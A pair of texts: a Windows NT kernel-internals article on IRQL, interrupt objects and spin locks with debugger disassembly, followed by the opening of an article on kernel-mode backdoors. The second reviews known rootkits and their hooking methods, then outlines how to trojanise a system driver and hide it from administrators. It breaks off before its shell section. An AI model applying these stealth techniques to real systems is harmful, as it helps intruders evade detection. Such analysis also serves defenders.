-
-
The realizaton of IRQ priorities is dependent to hardware (8259 pic). Windows uses hardware independent IRQL to
mask all the differences of the various hardwares. IRQL can be looked as an extension of hardware IRQ levels. But
IRQL is defined and manipulated by the OS, it’s an action of software. The IRQLs of a lower priority IRQ may be a
higher level. (See the output result of “intobj” under softice.)
To manager IRQs, windows uses Interrupt Object (KINTERRUPT). The interrupt object is initialized and tied to
system interrupt objects chain, when device drivers call IoConnectInterrupt.
Structure Definition of Interrupt object:
typedef struct _KINTERRUPT { // Size: 0x1E4
/*000*/ CSHORT Type
/*002*/ USHORT Size
/*004*/ LIST_ENTRY InterruptListEntry
/*00C*/ ULONG ServiceRoutine
/*010*/ ULONG ServiceContext
/*014*/ SpinLock
/*018*/ Spare1
/*01C*/ ActualLock
/*020*/ DispatchAddress
/*024*/ Vector // The tied vector of this IRQ
/*028*/ Irql // Current IRQ’s IRQL
/*029*/ SynchronizeIrql // The SynchronizeIRQL of the IRQ (To be detailed later)
/*02A*/ FloatingSave
/*02B*/ Connected
/*02C*/ Number
/*02D*/ ShareVector
/*030*/ Mode
/*034*/ Spare2
/*038*/ Spare3
/*03C*/ DispatchCode
} KINTERRUPT, *PKINTERRUPT;
List all the interrupt objecits in softice
:intOBJ
Object Service Service Affinity
Address Vector Address Context IRQL Mode Mask Symbol
FF263408 31 F0470A0A FF2AF440 1A Edge 01 i8042prt!.text+070A
FF264D88 33 FC8CEAA0 FF2991D4 18 Edge 01 NDIS!PAGENDSMqN
FF25DA88 37 FC8CEAA0 FF25BBBC 14 Edge 01 NDIS!PAGENDSMqN
FCD6DD88 39 FC999454 FCDB48E8 12 Level 01 ACPI!.text+9134
FF285008 39 F06D2536 FCD615D0 12 Level 01 uhcd!.text+2256
FF2853C8 39 F06D2536 FCD60030 12 Level 01 uhcd!.text+2256
FF274988 39 F06D2536 FCD60AD0 12 Level 01 uhcd!.text+2256
FF299D88 39 FC59AE4A FF2AC0F0 12 Level 01 ltmdmnt!.text+2B2A
FF25C008 39 FC574CE0 FF25E208 12 Level 01 portcls!.text+19C0
FF262D88 3C F0476F00 FF2AA020 0F Edge 01 i8042prt!PAGEMOUCk
FCD6B668 3E FC926E42 FCD52030 0D Edge 01 atapi!.text+5AE2
FCD67B48 3F FC926E42 FCD68030 0C Edge 01 atapi!.text+5AE2
E.g., from the output of “intobj”, We see that the IRQL of IRQs. Eg: IRQ 1’s vector is 0x31, it’s IRQL is 0x1AH. And
we also know that driver i8042prt connects this IRQ.
Each IRQ is associated with a vector and the system uses vector rather than IRQ. For widows nt, the vector equals
(IRQ number + 0x30), See Softice’s output of command “IRQ”:
:irq
IRQ Vector Status
00 30 Unmasked
01 31 Unmasked
02 32 Unmasked
03 33 Unmasked
04 34 Masked
05 35 Masked
06 36 Masked
07 37 Unmasked
08 38 Unmasked
09 39 Unmasked
0A 3A Masked
0B 3B Masked
0C 3C Unmasked
0D 3D Masked
0E 3E Unmasked
0F 3F Unmasked
Generally, we call IRQ interrupt under the protect mode. It has two types:
1, NMI (NonMaskable Interrupt)
This type of interrupt is reported to cpu via the NMI pin, it can not be masked by zero the Eflags’s IF bit. It’s vector is
02h.
2, INTR (Maskable Interrupt)
This type could be masked by zero. Cpu Eflags IF bit. They are reported to cpu via INTR pin. But cpu needs to
access the data bus to get the vector number.
When eflags IF is zero, the INTR will wait until the IF is set to 1.
Besides interrupt, under protect mode, exceptions also use vector numbers.
Exception has three types: (For detail info, see intel cpu manual.)
1, Fault (Eg. Page Fault 0x0E)
2, Trap ( Eg. NTCall, int 0x2E)
2, Abort ( Severe Errors)
The difference of Fault of Trap is that: The instructions which result in the fault will be executived again after
finishing the process of the fault. But for a trap, like (int 0x2e), the instructions which result in the trap will be skipped
and the next instruction will be executived.
Exceptions use 0x0 – 0x1f (0x02 is excluded) as their vector numbers.
When an interrupt or exception arise, cpu will clear the eflags IF bit automatically. But for a trap, it will not try to
modify the IF bit of eflags.
Cpu register IDTR stores the start address of the table of the entries of vectors.
In Softice, to get the entry of vector 31 (IRQ 1):
:idt 31
Int Type Sel:Offset Attributes Symbol/Owner
0031 IntG32 0008:FF263444 DPL=0 P
So, when IRQ 1 raises, cpu will automatically run the instructions at 0008:FF263444 as response to the interrupt.
For more detail information, please refer Intel CPU Mannuals.
-
Part II
In this part, we’ll discuss how the OS realize SpinLocks via IRQL
Realization of SpinLocks:
Spin locks are very commonly used in drivers to protect data that will be accessed by multiple driver routines running
at varying IRQLs. But what’s it’s realizaton ?
Every book about “Operating System” will tell us that an atomic test-and-set instruction will be adopted. Is windows
os uses this way ? The answer is NO. What windows nt adopts is IRQL. That is the spinlock routines will change the
IRQL.
There are some kernel routines to acquire/release SpinLocks available for driver developers. These routines are not
strange faces, so I’ll not introduce their functionalities here.
VOID
KeAcquireSpinLock(
IN PKSPIN_LOCK SpinLock,
OUT PKIRQL OldIrql
);
VOID
KeReleaseSpinLock(
IN PKSPIN_LOCK SpinLock,
IN KIRQL NewIrql
);
VOID
KeAcquireSpinLockAtDpcLevel(
IN PKSPIN_LOCK SpinLock
);
VOID
KeReleaseSpinLockFromDpcLevel(
IN PKSPIN_LOCK SpinLock
);
DDk says that “Callers of KeAcquireSpinLock must be running at IRQL <= DISPATCH_LEVEL”, for dispatch_level
routines, .it would be better to use KeAcuireSpinLockAtDpcLevel, and that callers of KeReleaseSpinLock are running
at IRQL DISPATCH_LEVEL, but why ?
The following codes tell us the answer:
kd> u Hal!KeAcquireSpinLock
hal!KeAcquireSpinLock:
80066806 8b4c2404 mov ecx,[esp+0x4]
8006680a e849c7ffff call hal!KfAcquireSpinLock (80062f58)
8006680f 8b4c2408 mov ecx,[esp+0x8]
80066813 8801 mov [ecx],al
80066815 c20800 ret 0x8
hal!KfAcquireSpinLock:
80062f58 33c0 xor eax,eax
// Save current IRQL to al
80062f5a a024f0dfff mov al, [ffdff024]
// Change Current IRQL to Dispatch Level
80062f5f c60524f0dfff02 mov byte ptr [ffdff024],0x2
80062f66 c3 ret
Then we get the result: The acquiration of spin lock is just only improve current IRQL to DISPATCH_LEVEL. After the SpinLock is acquired , the current IRQL will be
DISPATCH_LEVEL and then the NT dispatcher (scheduler) preemption will be disabled.
But for the routine which is already running at DISPATCH_LEVEL, they are advised .to use KeAcquireSpinLockAtDpcLevel instead. We can image what KeAcquireSpinLockAtDpcLevel do?
kd> u KeAcquireSpinLockAtDpcLevel
nt!KeAcquireSpinLockAtDpcLevel:
804022e4 c20400 ret 0x4
nt!KeReleaseSpinLockFromDpcLevel:
804022f4 c20400 ret 0x4
These two routines do nothing, and just return. As all DISPATCH_LEVEL all the routines will be executed synchronously, they can not interrupt each other, i.e. they are alreary synchronized.
When current IRQL > DISPATCH_LEVEL, we are warned never to call spin lock routines , or we’ll get BSOD. Here
we get the reason: KeAcquireSpinLock will try to lower the current IRQL, which is not permitted by NT.
-
Part III
I’ll discuss how the OS realize IRQL with two examples: The process of ISR Synchronize Lock and interrupt
service routine.
1, ISR Synchronize Lock
SpinLocks have three types:
1, standard spin locks
2, ISR synchronization spin locks. Each type has its own IRQL associations
3, default ISR (Interrupt Service Request) spin locks
For “standard spin locks “, we’ve analyzed it at Part II. Now let’s anaylize the left two locks.
When developing a video miniport driver, I’ve ever met such an case: to protect some shared data between StartIO
and ISR. As we all know, IRQ runs at DIRQL, and we can not call the stand spinlocks.
I noticed that videoport supported an routine VideoPortAcquireDeviceLock. The ddk does not say more about the
limits. So I got BSOD when calling this routine in the ISR.
I disassembled it and found it that it used a dispatch synchronize object (Mutex). See the assembles codes below,
:u VideoPortAcquireDeviceLock
0008:EB095392 XOR EAX,EAX
0008:EB095394 PUSH EAX
0008:EB095395 PUSH EAX
0008:EB095396 PUSH EAX
0008:EB095397 PUSH EAX
0008:EB095398 MOV EAX,[ESP+14] //EAX = HwDeviceExtension
0008:EB09539C MOV EAX,[EAX-0228] // The Mutex maintained by VideoPort
0008:EB0953A2 ADD EAX,30
0008:EB0953A5 PUSH EAX
0008:EB0953A6 CALL [__imp__KeWaitForSingleObject]
0008:EB0953AC RET 0004
:u VideoPortReleaseDeviceLock
0008:EB0953B0 MOV EAX,[ESP+04]
0008:EB0953B4 PUSH 00
0008:EB0953B6 MOV EAX,[EAX-0228]
0008:EB0953BC ADD EAX,30
0008:EB0953BF PUSH EAX
0008:EB0953C0 CALL [__imp__KeReleaseMutex]
0008:EB0953C6 RET 0004
Luckly the videoport supports another mechanism of VideoPortSynchronizeExecution, which will call
KeSynchronizeExecution. So let us analyze KeSynchronizeExecution.
BOOLEAN
KeSynchronizeExecution(
IN PKINTERRUPT Interrupt,
IN PKSYNCHRONIZE_ROUTINE SynchronizeRoutine,
IN PVOID SynchronizeContext);
SynchronizeRoutine:
BOOLEAN
(*PKSYNCHRONIZE_ROUTINE) ( IN PVOID SynchronizeContext );
KeSynchronizeExecution will call KfRaiseIRQL to raise current processor’s IRQL to the InterruptObjects’s
SynchronzieIRQL and mask all the IRQs below the SynchronizeIRQL, then execute the SynchronizeRoutine which
will operate shared sensitive data, and call KfLowerIrql to do the restoring.at the end.
At the time SynchronizeRoutine is called, the interrupt specified by the interrupt object: interrupt will be masked. The
the protection of the access of the shared data is achieved.
Followings are the asm codes, from WinDbg.
kd> u nt!KeSynchronizeExecution
nt!KeSynchronizeExecution:
80468a70 55 push ebp
80468a71 8bec mov ebp,esp
80468a73 83ec04 sub esp,0x4
80468a76 53 push ebx
80468a77 56 push esi
//Raise Current IRQL to Interrupt->SynchronizeIrql
80468a78 8b5d08 mov ebx,[ebp+0x8] //ebx = Interrupt
80468a7b 8b4b29 mov ecx,[ebx+0x29] //cl = Interrupt->SynchronizeIrql
80468a7e ff15d8054080 call dword ptr [nt!_imp_KfRaiseIrql (804005d8)]
80468a84 8845fc mov [ebp-0x4],al// al = Old IRQL
80468a87 8b731c mov esi,[ebx+0x1c]
80468a8a 8b4510 mov eax,[ebp+0x10]
// Now call our SynchronizeRoutine
80468a8d 50 push eax
80468a8e ff550c call dword ptr [ebp+0xc] // SynchronizeRoutine
// Resotring …
80468a91 8bd8 mov ebx,eax
80468a93 8b4dfc mov ecx,[ebp-0x4] // Restore Old IRQL
80468a96 ff15dc054080 call dword ptr [nt!_imp_KfLowerIrql (804005dc)]
80468a9c 8bc3 mov eax,ebx
80468a9e 5e pop esi
80468a9f 5b pop ebx
80468aa0 c9 leave
80468aa1 c20c00 ret 0xc
kd> u hal!kfRaiseIrql
hal!KfRaiseIrql:
80062ea0 33c0 xor eax,eax
80062ea2 a024f0dfff mov al,[ffdff024] // Current IRQL
80062ea7 0fb6c9 movzx ecx,cl
80062eaa 80f902 cmp cl,0x2 // DISPATCH_LEVEL = 0x02
80062ead 7625 jbe hal!KfRaiseIrql+0x34 (80062ed4)
80062eaf 8bd0 mov edx,eax
80062eb1 9c pushfd
80062eb2 fa cli
// Change IRQL to new
80062eb3 880d24f0dfff mov [ffdff024],cl
// Besides changing current IRQL, it also mask all the IRQs below the SynchronizeIRQL
80062eb9 8b048dcc890680 mov eax,[hal!KiI8259MaskTable (800689cc)+ecx*4]
80062ec0 0b0530f0dfff or eax,[ffdff030]
80062ec6 e621 out 21,al // Mask I8259 – 1 (IMR1)
80062ec8 c1e808 shr eax,0x8
80062ecb e6a1 out 0xA1, al // Mask I8259 – 2 (IMR2)
80062ecd 9d popfd
80062ece 8bc2 mov eax,edx
80062ed0 c3 ret
80062ed1 8d4900 lea ecx,[ecx]
80062ed4 880d24f0dfff mov [ffdff024],cl
80062eda c3 ret
hal!KfLowerIrql:
80062f10 9c pushfd
80062f11 0fb6c9 movzx ecx,cl
80062f14 803d24f0dfff02 cmp byte ptr [ffdff024],0x2
80062f1b fa cli
80062f1c 7614 jbe hal!KfLowerIrql+0x22 (80062f32)
// Only need running when Current IRQL > DISPATCH_LEVEL
// Restore the 8259 settings
80062f1e 8b048dcc890680 mov eax,[hal!KiI8259MaskTable (800689cc)+ecx*4]
80062f25 0b0530f0dfff or eax,[ffdff030]
80062f2b e621 out 21,al
80062f2d c1e808 shr eax,0x8
80062f30 e6a1 out a1,al
// Restore current IRQL
80062f32 880d24f0dfff mov [ffdff024],cl
80062f38 a128f0dfff mov eax,[ffdff028]
80062f3d 8a80648a0680 mov al,[eax+0x80068a64]
80062f43 38c8 cmp al,cl
80062f45 7705 ja hal!KfLowerIrql+0x3c (80062f4c)
80062f47 9d popfd
80062f48 c3 ret
80062f49 8d4900 lea ecx,[ecx]
80062f4c ff14854c8a0680 call dword ptr [hal!SWInterruptHandlerTable (80068a4c)+eax*4]
80062f53 9d popfd
80062f54 c3 ret
2, Default ISR (Interrupt Service Request) spin locks
When an interrupt raises, cpu will be notified by a signal via the INTR pin, then the cpu will read the vector from the
data bus. After saving the current executing envrioment, cpu will get the entry of the interrupt from IDTR and execute
the ISR routine.
Here the ISR routine is not just the service routine supported by the specific driver when connecting the IRQ. It’s
hooked by Windows. Windows will decide whether the interrupt request is from the device. If it is surely form a
device, KiInterruptDispatch will be called to process the interrupt request.
KiInterruptDispatch will first call HalBeginSystemInterrupt to raise current IRQL and mask 8259A. Then call the
service routine at KINTERRUPT object offset 0x0C, which do the really work to perform the interrupt request. Then
KiInterruptDispatch calls HalDisableSystemInterrupt to do the restoring work. Then the response of an interrupt
request ends.
Here we will analyze the process of Vector 0x31 as example.
// Get the entry address of Vector 31 (IRQ 1)
:idt 31
Int Type Sel:Offset Attributes Symbol/Owner
0031 IntG32 0008:FF263444 DPL=0 P
kd> u 0008:FF263444
ff263444 54 push esp
ff263445 55 push ebp
ff263446 53 push ebx
ff263447 56 push esi
ff263448 57 push edi
ff263449 83ec54 sub esp,0x54
ff26344c 8bec mov ebp,esp
ff26344e 89442444 mov [esp+0x44],eax
ff263452 894c2440 mov [esp+0x40],ecx
ff263456 8954243c mov [esp+0x3c],edx
// Current Stack:
// ESP + 0: db * 0x54
// ESP + 54: edi
// ESP + 58: esi
// ESP + 5C: ebx
// ESP + 60: ebp
// ESP + 64: esp
// ESP + 68: Old EIP
// ESP + 6C: Old CS
// ESP + 70: Old Eflags
// Eflags bit 17 is VM bit, if VM = 1, it shows that the caller is from V86 mode,
// If the caller is from V86 mode, jump to ff26357b
ff26345a f744247000000200 test dword ptr [esp+0x70],0x20000
ff263462 0f8513010000 jne ff26357b
// For kernel space, CS = 0x08, it need not save the segments
// For user space (?), it will change current segments registers
ff263468 66837c246c08 cmp word ptr [esp+0x6c],0x8
ff26346e 7423 jz ff263493
ff263470 8c642450 mov [esp+0x50],fs
ff263474 8c5c2438 mov [esp+0x38],ds
ff263478 8c442434 mov [esp+0x34],es
ff26347c 8c6c2430 mov [esp+0x30],gs
ff263480 bb30000000 mov ebx,0x30
ff263485 b823000000 mov eax,0x23
ff26348a 668ee3 mov fs,bx
ff26348d 668ed8 mov ds,ax
ff263490 668ec0 mov es,ax
// ? Modify the exception record structure
ff263493 648b1d00000000 mov ebx,fs:[00000000]
ff26349a 64c70500000000ffffffff mov dword ptr fs:[00000000],0xffffffff
ff2634a5 895c244c mov [esp+0x4c],ebx
ff2634a9 81fc00000100 cmp esp,0x10000
ff2634af 0f829e000000 jb ff263553
ff2634b5 c744246400000000 mov dword ptr [esp+0x64],0x0
ff2634bd fc cld
ff2634be f60550f0dfffff test byte ptr [ffdff050],0xff
ff2634c5 750c jnz ff2634d3
ff2634c7 bf083426ff mov edi,0xff263408 // IntOBJ
ff2634cc e9cf562081 jmp nt!KiInterruptDispatch (80468ba0)
ff2634d1 8bff mov edi,edi
ff2634d3 f7457000000200 test dword ptr [ebp+0x70],0x20000
ff2634da 7509 jnz ff2634e5
ff2634dc f7456c01000000 test dword ptr [ebp+0x6c],0x1
ff2634e3 74e2 jz ff2634c7
ff2634e5 0f21c3 mov ebx,dr0
…
kd> u KiInterruptDispatch
nt!KiInterruptDispatch:
80468ba0 ff0560f5dfff inc dword ptr [ffdff560]
80468ba6 8bec mov ebp,esp
80468ba8 8b4724 mov eax,[edi+0x24]
80468bab 8b4f29 mov ecx,[edi+0x29]
80468bae 50 push eax
80468baf 83ec04 sub esp,0x4
// Initialize Current IRQL & 8259A
80468bb2 54 push esp
80468bb3 50 push eax
80468bb4 51 push ecx
80468bb5 ff1580054080 call dword ptr [nt!_imp__HalBeginSystemInterrupt (80400580)]
80468bbb 0bc0 or eax,eax
80468bbd 741a jz nt!KiInterruptDispatch+0x39 (80468bd9)
80468bbf 8b771c mov esi,[edi+0x1c]
80468bc2 8b4710 mov eax,[edi+0x10]
// Now call IntObj - ISR
80468bc5 50 push eax
80468bc6 57 push edi
80468bc7 ff570c call dword ptr [edi+0xc]
80468bca fa cli
// Restore …
80468bcb ff1584054080 call dword ptr [nt!_imp__HalEndSystemInterrupt (80400584)]
// Finish the process of the interrupt
80468bd1 e9e0c7ffff jmp nt!Kei386EoiHelper (804653b6)
80468bd6 83c408 add esp,0x8
80468bd9 83c408 add esp,0x8
80468bdc e9d5c7ffff jmp nt!Kei386EoiHelper (804653b6)
kd> u hal!HalBeginSystemInterrupt
hal!HalBeginSystemInterrupt:
80067ab8 0fb65c2408 movzx ebx,byte ptr [esp+0x8]
// Ebx = Vector Number, Ebx – 0x30 = IRQ number
80067abd 83eb30 sub ebx,0x30
//hal!HalpSpecialDismissTable = 80068a6c
80067ac0 ff249d6c8a0680 jmp dword ptr [hal!HalpSpecialDismissTable+ebx*4]
hal!HalBeginSystemInterrupt+3b:
// Entry of IRQ 1
80067af3 8b44240c mov eax,[esp+0xc]
// Save current IRQL, and change to new value from CL
80067af7 0fb70d24f0dfff movzx ecx,word ptr [ffdff024]
80067afe 8808 mov [eax],cl
80067b00 0fb6442404 movzx eax,byte ptr [esp+0x4]
80067b05 a224f0dfff mov [ffdff024],al // al = 0x1a
// Mask 8259A IRQs
80067b0a 8b0485cc890680 mov eax,[hal!KiI8259MaskTable (800689cc)+eax*4]
80067b11 0b0530f0dfff or eax,[ffdff030]
// eax = fffffefa [ffdff030] = 70 2c ff ff | Result: fffffefa
// Mask 8259A (IMR 1/2 (with Timer / Real Time exculed))
80067b17 e621 out 21,al
80067b19 c1e808 shr eax,0x8
80067b1c e6a1 out a1,al
80067b1e 8bc3 mov eax,ebx
80067b20 83f808 cmp eax,0x8
80067b23 7306 jnb hal!HalBeginSystemInterrupt+0x73 (80067b2b)
80067b25 0c60 or al,0x60
80067b27 e620 out 20,al
80067b29 eb08 jmp hal!HalBeginSystemInterrupt+0x7b (80067b33)
80067b2b b020 mov al,0x20
80067b2d e6a0 out a0,al
80067b2f b062 mov al,0x62
80067b31 e620 out 20,al
80067b33 e421 in al,21
80067b35 fb sti
80067b36 b801000000 mov eax,0x1
80067b3b c20c00 ret 0xc
// HalDisableSystemInterrupt is just reverse to HalBeginSystemInterrupt
hal!HalDisableSystemInterrupt:
80067b40 0fb64c2404 movzx ecx,byte ptr [esp+0x4]
80067b45 83e930 sub ecx,0x30
80067b48 ba01000000 mov edx,0x1
80067b4d d3e2 shl edx,cl
80067b4f fa cli
…
800630b7 e621 out 21,al
800630b9 c1e808 shr eax,0x8
800630bc e6a1 out a1,al
800630be 880d24f0dfff mov [ffdff024],cl
800630c4 a128f0dfff mov eax,[ffdff028]
800630c9 8a80648a0680 mov al,[eax+0x80068a64]
800630cf 38c8 cmp al,cl
800630d1 7703 ja hal!HalEndSystemInterrupt+0x3a (800630d6)
800630d3 c20800 ret 0x8
…
-
Kernel-mode backdoors for Windows NT
Table of contents
1 - PREFACE
2 - OVERVIEW OF EXISTING KERNEL-MODE BACKDOORS FOR WINDOWS NT
2.1 - NTROOTKIT
2.2 - HE4HOOK
2.3 - SLANRET (IERK, BACKDOOR-ALI)
3 - OBSCURITY ON DISK, IN REGISTRY AND IN MEMORY
4 - MY VARIANT: THORNY PATH
4.1 - SHELL
4.2 - ACTIVATION AND COMMUNICATION WITH REMOTE CLIENT
4.3 - OBSCURITY ON DISK
5 - CONCLUSION
6 - FILES
-- [ 1 - Preface
This article is intended for those who know the architecture of the
Windows NT kernel and the principles of operation of NT drivers. This
article examines issues involved in the development of kernel-mode tools
for stealthy remote administration of Windows NT.
Recently there has been a tendency of extending the use of Windows NT
(2000, XP, 2003) from it's classical stronghold as home and
office OS to servers. At the same time, the outdated Windows 9x family is
replaced by the NT family. Because of this it should be evident that remote
administration tools (backdoors) and unnoticeable access tools (rootkits)
for the NT family have a certain value. Most of the published utilities
work in user-mode and can thus be detected by Antivirus tools or by manual
inspection.
It's quite another matter those works in kernel-mode: They can hide
from any user-mode program. Antivirus software will have to suplly kernel-
mode components in order to detect a kernel-mode-backdoor. Software exists
that protects against such backdoors (such as IPD, " Integrity Protection
Driver"), but it's use is not widely spread. Kernel mode backdoors are not
as widely used as they could be due to their relative complexity in comp-
arison with user-mode backdoors.
-- [ 2 - Overview of existing Kernel-Mode backdoors for Windows NT
This section briefly reviews existing kernel-mode backdoors for Windows
NT.
---- [ 2.1 - Ntrootkit
Ntrootkit (c) by Greg Hoglund and a team of free developers [ 1 ] is a
device driver for Windows NT 4.0 and 2000. It's possibilities (implemented
and potential):
- Receiving commands from a remote client. The rk_packet module contains
a simplified IP-stack, which uses free IP-address from the subnet where
the host on which Ntrootkit has been installed is situated.
It's MAC and IP addresses are hardcoded in the source. Connection with
the rootkit at that IP is carried out via a TCP connection to any port.
The available commands in rk_command.c are:
ps - list processes
help - self explainatory
buffertest, echo and debugint - for debugging purpose
hidedir - hide directory/file
hideproc - hide process (es)
sniffkeys - keyboard spy
There are also imcomplete pieces of code: Execute commands received via
a covert channel and starting a Win32-process from a driver (a hard and
complicated task).
- Encrypt all traffic using Schneier's Blowfish algorithm:
rk_blowfish.c is present, but not (yet?) used
- Self-defense (rk_defense.c) - hide protected objects (in this
case: registry keys), identified by the string " _root_ "; redirect
launched processes.
The hiding of processes, directories and files as implemented in
rk_ioman.c is done through hooking the following functions:
NtCreateFile
ZwOpenFile
ZwQueryDirectoryFile
ZwOpenKey
ZwQueryKey
ZwQueryValueKey
ZwEnumerateValueKey
ZwEnumerateKey
ZwSetValueKey
ZwCreateKey
The way to detect this rootkit:
Make direct request to filesystem driver, send IRP to it. There is
one more module that hooks file handling: rk_files.c, adopted from
filemon, but it is not used.
- Starting processes: An unfinished implementation of it can be found
in rk_command.c, another one (which is almost complete and good) is
in rk_exec.c
The implementation suffers from the fact that Zw* functions which are
normally unavailable to drivers directly are called through the system
call interface (int 0x2E), leading to problems with different versions
of the NT family as system call numbers change.
It seems like the work on Ntrootkit is very loosely coordinated: every
developer does what (s) he considers needed or urgent. Ntrootkit does
not achieve complete (or sufficient) invisibility. It creates device
named " Ntroot ", visible from User-Mode.
When using Ntrootkit for anything practical, one will need some means
of interaction with the rootkitted system. Shortly: There will be the
need for some sort of shell. Ntrootkit itself can not give out a shell
directly, although it can start a process -- the downside is that the
I/O of that process can not be redirected. One is thus forced to start
something like netcat. It's process can be hidden, but it's TC$$P-connection
will be visible. The missing redirection of I/O is a big drawback.
However, Ntrootkit development is still in progress, and it will
probably become a fully-functional tool for complete and stealthy remote
administration.
---- [ 2.2 - He4hook
This description is based on [ 2 ]. The filesystem access was hooked via
two different methods in the versions up to and including 2.15b6. Only one
of it works at one time, and in versions after 2.15b6 the first method was
removed.
Method A: hook kernel syscalls:
===============================
ZwCreateFile, ZwOpenFile - driver version 1.12 and from 1.17 to
2.15beta6
IoCreateFile - from 1.13 to 2.15beta6
ZwQueryDirectoryFile, ZwClose - before 2.15beta6
Almost all these exported functions (Zw*) have the following function
body:
mov eax, NumberFunction
lea edx, [ esp+04h ]
int 2eh; Syscall interface
The " NumberFunction " is the number of the called function in the
syscalls table (which itself can be accessed via the global variable
KeServiceDescriptorTable). This variable points to following structure:
typedef struct SystemServiceDescriptorTable
{
Ssd SystemServiceDescriptors [ 4 ];
} SSDT, *LPSSDT;
Other structures:
typedef VOID *SSTAT [ ];
typedef unsigned char SSTPT [ ];
typedef SSTAT *LPSSTAT;
typedef SSTPT *LPSSTPT;
typedef struct SystemServiceDescriptor
{
LPSSTAT lpSystemServiceTableAddressTable;
ULONG dwFirstServiceIndex;
ULONG dwSystemServiceTableNumEntries;
LPSSTPT lpSystemServiceTableParameterTable;
} SSD, *LPSSD;
The DescriptorTable pointed to by KeServiceDescriptorTable is only
accessible from kernel mode. In User-Mode, there is something called
KeServiceDescriptorTableShadow -- unfortunately it is not exported.
Base services are in
KeServiceDescriptorTable->SystemServiceDescriptors [ 0 ]
KeServiceDescriptorTableShadow->SystemServiceDescriptors [ 0 ]
KernelMode GUI services are in
KeServiceDescriptorTableShadow->SystemServiceDescriptors [ 1 ]
Other elements of that tables were free at moment when [ 2 ] was
written, in all versions up to WinNt4 (SP3-6) and Win2k build 2195.
Each element of the table is a SSID structure, which contains the
following data:
lpSystemServiceTableAddressTable - A pointer to an array of addresses
of functions that will be called if
a matching syscall is called
dwFirstServiceIndex - Start index for the first function
dwSystemServiceTableNumEntries - Number of services in table
lpSystemServiceTableParameterTable - An array of bytes specifying the
number of bytes from the stack that
will be passed through
In order to hook a system call, He4hookInv replaces the address stored in
KeServiceDescriptorTable->SystemServiceDescriptos[0].lpSystemServiceTableAddressTableIn
with a pointer to it's own table.
One can interface with He4hookInv by adding your own services to the
system call tables. He4hookInv updates both tables:
- KeServiceDescriptorTable
- KeServiceDescriptorTableShadow.
Otherwise, if it updated only KeServiceDescriptorTable, new services
would be unavailable from UserMode. To locate KeServiceDescriptorTable-
Shadow the following technique is used:
The function KeAddSystemServiceTable can be used to add services to the
kernel. It can add services to both tables. Taking into account that its
0-th descriptor is identical, it's possible, by scanning
KeAddSystemServiceTable function's code, to find the address of the shadow
table. You can see how it is done in file He4hookInv.c, function
FindShadowTable (void).
If this method fails for some reason, a hardcoded address is taken
(KeServiceDescriptorTable-0x230) as location of the shadow table. This
address has not changed since WincNt Sp3. Another problem is the search
for the correct index into the function address array. As almost all Zw*
functions have an identical first instruction (mov eax, NumberFunction),
one can get a pointer to the function number easily by adding one byte
to the address exported by ntoskrnl.exe
Method B: (for driver versions 2.11 and higher)
===============================================
The callback tables located in the DRIVER_OBJECT of the file system
drivers are patched: The IRP handlers of the needed drivers are replaced.
This includes replacing the pointers to base function handlers
(DRIVER_OBJECT->MAJORCFunction) as well as replacing pointers to the
drivers unload procedure (DRIVER_OBJECT->DRIVERCUnload).
The following functions are handled:
IRP_MJ_CREATE
IRP_MJ_CREATE_NAMED_PIPE
IRP_MJ_CREATE_MAILSLOT
IRP_MJ_DIRECTORY_CONTROL -> IRP_MN_QUERY_DIRECTORY
For a more detailed description of the redirection of file operations
refer to the source [ 2 ].
---- [ 2.3 - Slanret (IERK, Backdoor-ALI)
The source code for this is unavailable -- it was originally disco-
vered by some administrator on his network. It is a normal driver
("ierk8243.sys") which periodically causes BSODs, and is visible as a
service called " Virtual Memory Manager ".
" Slanret is technically just one component of a
root kit. It comes with a straightforward backdoor
program: a 27 kilobyte server called " Krei " that
listens on an open port and grants the hacker remote
access to the system. The Slanret component is a
seven kilobyte cloaking routine that burrows into the
system as a device driver, then accepts commands from
the server instructing it on what files or processes
to conceal. " [ 3 ]
---- [ 3. Stealth on disk, in registry and in memory
The lower the I/O interception in a rootkit is performed, the harder
it usually is to detect it's presence. One would think that a reliable
place for interception would be the low-level disk operations (read/write
sectors). This would require handling all filesystems that might be on
the hard disk though: FAT16, FAT32, NTFS.
While FAT was relatively easy to deal with (and some old DOS stealth
viruses used similar techniques) an implementation of something similar
on WinNT is a task for maniacs.
A second place to hook would be hooking dispatch functions of file-
system drivers: Patch DriverObject->MajorFunction and FastIoDispatch in
memory or patch the drivers on disk. This has the advantage of being re-
latively universal and is the method used in HE4HookInv.
A third possibility is setting a filter on a filesyste driver (FSD).
This has no advantages in comparison with the previous method, but has
the drawback of being more visible (Filemon uses this approach). The
functions Zw*, Io* can then be hooked either by manipulating the Ke-
ServiceDescriptorTable or directly patching the function body. It is
usually quite easy to detect that pointers in KeServiceDescriptorTable
point to strange locations or that the function body of a function has
changed. A filter driver is also easy to detect by calling IoGetDevice-
ObjectPointer and then checking DEVICE_OBJECT->StackSize.
All normal drivers have their own keys in the registry, namely in
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es.
The abovementioned rootkits can hide registry keys, but obviously,
if the system is booted "cleanly", an administrator can see anything that
was hidden. One can also load a rootkit using ZwSetSystemInformation(
SystemLoadAndCallimage) without the need to create any registry keys. An
example of this technique can be found in [6].
A rootkit loader in a separate file is too unstealthy. It might be a
smarter move to patch that call into some executable file which is part of
the system boot. One can use any driver or user-mode program that works
with sufficient privileges, or any DLL linked to by it. One has to ask one
question though: If the newly introduced changes need to be hidden anyway,
why make two similar but differing procedures (for hiding changes to a
file as well as hiding the existance of a file) instead of limiting our-
selves to one ?
In most cases one can target null.sys. Implementing it's functionality
is as easy as "hello world", and that is why it is usually replaced with a
trojan. But if we are going to have a procedure for hiding changes to a
file, we can replace ANY driver with a trojan that will substitute the
content of the replaced file with the original content to everyone (incl-
uding the kernel). Upon startup, it will copy itself to some allocated
memory area and start a thread there.
This will make the trojan almost unnoticeable in memory: No system
utility can see the driver any more, as it is just an anonymous memory
page amongst many. We do not even need a thread, using intercepted IRP
dispatch functions of some driver (DriverObject->MajorFunction[IRP_MJ_xxx]).
We can also use IoQueueWorkItem and KeInsertQueueDpc, so no additional
threads in SYSTEM will be visible in the task manager. After this is done
the trojan can unload the driver it was started from, and reload it in a
clean (unchanged) variant. As a result, high levels of stealth will be
achieved by relatively simple means. The original content of the manipu-
lated file could for example be stored in the trojan's file after the
trojan itself.
It will then be sufficient to hook all FSD requests (IRP and FastIO)
and upon access change the position (and size of the file).
(CurrentIrpStackLocation->Parameters.*.ByteOffset)
Rest In Part 2
-
--[ 4 - My variant: The thorny path
----[ 4.1 - Shell
